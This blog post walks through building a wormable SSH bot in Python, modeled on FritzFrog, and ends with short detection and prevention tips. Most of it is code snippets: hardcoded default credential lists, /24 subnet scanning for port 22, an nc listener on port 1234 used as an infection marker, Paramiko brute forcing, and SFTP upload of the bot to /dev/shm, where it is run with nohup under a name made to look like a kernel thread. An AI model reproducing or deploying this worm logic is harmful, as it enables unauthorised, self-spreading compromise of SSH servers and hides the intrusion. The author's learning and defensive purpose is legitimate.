Sometime back i came across a blog post on FritzFrog botnet which was targeting SSH servers. I was very much inspired after reading the blog post and thought why not create my own version of wormable SSH bot similar to FritzFrog.
This blog post is purely based on my learning process on creating and emulating a wormable SSH bot.
Normally a bot would either try to exploit a vulnerability or tries to brute force with well known usernames and passwords.
So before we get started, Let me also point out to Vivek Ramachandran Sir’s blog post from 2013 on Simulating SSH worm using python which is a great in-depth blog post on simulating an SSH worm. Whenever i got stuck, I would always refer to that blog post.
Without any further ado, Let’s get started….
Yantra Manav is a SSH wormable bot which is written in python. We would be leveraging third party library Paramiko to perform SSH brute force and SFTP client to transfer the binary.
Note: For obvious reason the blog post will only have code snippets and not the full version or a complete script.
We shall start by creating a class name as yantra_manav and then create an __init__ method by adding a list of variables for usernames and passwords which we would be using for brute forcing.
class yantra_manav(): def __init__(self): self.uname = ['aj', 'root', 'kali', 'msfadmin'] self.passwd = ['root', 'root@123', 'kali', 'logmein', 'qwerty', '1234', 'msfadmin']
Getting IP address:
Since we are creating a bot it should be smart enough to get the IP address of the machine where it is running. We are interested in getting the first three octets of the IP address and then create a FOR loop for the last octet from 1 to 255 (this is to cover /24 CIDR ranges)
try: self.getip_sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) self.getip_sock.connect_ex(('169.254.0.0', 4321)) self.getIP = self.getip_sock.getsockname() finally: self.getip_sock.close() self.full_IP = self.getIP #Getting the first three octets self.IP_three = self.full_IP[:self.full_IP.rfind(".")] + "." # Adding the last octets for IP_four in range(1,255): self.full_segment.append(self.IP_three + str(IP_four))
In the above snippet to get the IP address, We are trying to connect to a link local address which is 169.254.0.0 on port 4321. We get the IP address of the machine using getsockname().
Identifying SSH open port:
Then we start iterating over /24 CIDR ranges and identify open SSH port
try: for self.ranges in self.full_segment: print(self.ranges) self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) print("Checking open SSH port for: " + self.ranges) self.sock_chk = self.sock.connect_ex((self.ranges, 22)) if self.sock_chk == 0: print("[+] Port is open for " + self.ranges + " !") #Calling a method and checking if the target is already compromised or not self.jagrut() else: print("[-] Port is closed :(") continue except Exception as e: print(e) finally: self.sock.close()
Here we are using socket to connect on destination IP and are checking if the SSH port is open or closed. If the port is open then we are calling a method self.jagrut() which checks if the target is already compromised or not.
Child process creation:
Before we jump into the self.jagrut() method, we would be creating a child process using the fork() function and then call sunna() method which would run a nc command listening on port 1234
def sunna(self): print("Running child process with PID: ", os.getpid()) os.execvp("nc", ["nc", "-lvp", "1234"]) print("Listening on 1234, going ahead with port scanning activity")
Here comes the tricky part, We would be using os.execvp function because execvp overlays the parent process. This is to avoid creating two identical process and doing the same thing.
To avoid unnecessary brute forcing a target which is already compromised, we will call the jagrut method which will check whether the target server is already compromised or not.
def jagrut(self): print("Checking if the target is already bruteforced or not for ", self.ranges) self.connection_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.connected = self.connection_sock.connect_ex((self.ranges, 1234)) if self.full_IP == self.ranges: print("[-] Skipping ", self.ranges) else: if self.connected == 0: print("Target is already compromised!") self.ssh_brut()
In the above code snippet, we are using socket to connect on 1234 port. In the IF condition we are skipping if the IP address is same as the server IP address.
In the ELSE condition we are checking if we are able to connect on port 1234 on destination server, if it is successful then we print that target is already compromised and then we are at last calling the self.ssh_brut() method.
SSH brute forcing:
This is one of the main component where SSH brute forcing is done and if we get a successful connection then we print the username and password.
def ssh_brut(self): if self.full_IP != self.ranges and self.connected != 0: #Setting up the ssh client self.ssh_handler = paramiko.SSHClient() # Adding server key if its unknown self.ssh_handler.set_missing_host_key_policy(paramiko.AutoAddPolicy()) print("[*] Attacking host " + self.ranges) for user in self.uname: for passw in self.passwd: try: #Trying to connect to the server self.conn = self.ssh_handler.connect(hostname=self.ranges,username= user, password=passw, timeout=300) print("[+] Successful connection for host with username: " + user + ":" + passw) time.sleep(2) print("sleeping for few seconds")
Once we get a successful connection the next process would be to start a SFTP client and transfer the binary.
def tofa(self): print("[*] Starting sFTP client") sFTP = self.ssh_handler.open_sftp() sFTP.put("[aj]", "/dev/shm/" + "[aj]") print("[*] Copying the files!") self.ssh_handler.exec_command("chmod a+x /dev/shm/\[aj\]") print("[*] Making the file as an executeable") self.ssh_handler.exec_command("cd /dev/shm; nohup ./[\aj\] &") print("[+] Command successfully executed!")
We are copying the binary in the /dev/shm path and then executing the binary. Interesting part about the name of binary is: It’s in square brackets ‘[aj]’.
In Linux if the process name is within square brackets then it is a kernel process thread. Over here we are trying to mimic as a kernel process thread.
POC or it didn’t happen:
The final python script is converted into ELF binary using pyinstaller.
- Checks for only one active interface and does brute forcing for the same interface
- Brute forcing does not stop after successful authentication
- Brute forces on default SSH port (22)
- Brute forces for only /24 CIDR ranges
- Identification of compromised host is not full proof
The blog post is incomplete without the detection or prevention
- Avoid using default username/password and also make sure it is not easily guessable.
- Monitor for SSH authentication failure logs
- Implement Fail2ban to avoid getting brute forced
- Identify a process which mimics as a kernel process thread using DMKPT